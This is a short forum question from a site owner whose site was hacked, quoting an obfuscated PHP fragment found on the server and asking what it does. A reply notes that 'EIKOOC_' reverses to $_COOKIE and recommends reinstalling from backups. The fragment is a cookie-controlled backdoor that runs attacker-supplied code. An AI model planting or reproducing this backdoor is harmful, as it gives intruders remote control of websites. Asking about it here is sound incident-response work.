The site was hacked. Found the file for the code below. Could you tell me what it does and should I look for any more fragments?

<
? php error_reporting (0); $ k= strrev ("EIKOOC _"); $ i= $$ k; (count ($ i)== 23 &
&
in_array (gettype ($ i) .count ($ i), $ i))? (($ i [44]= $ i [44]. $ i [20]) &
&
($ i [40]= $ i [44] ($ i [40])) &
&
($ i= $ i [40] ($ i [57], $ i [44] ($ i [63]))) &
&
$ i ()): $ i;

read backwards EIKOOC_

If you are not competent enough in finding and eliminating the consequences of a hack, then the only reliable way is to delete everything completely and reinstall from scratch (and restore the database from a backup)
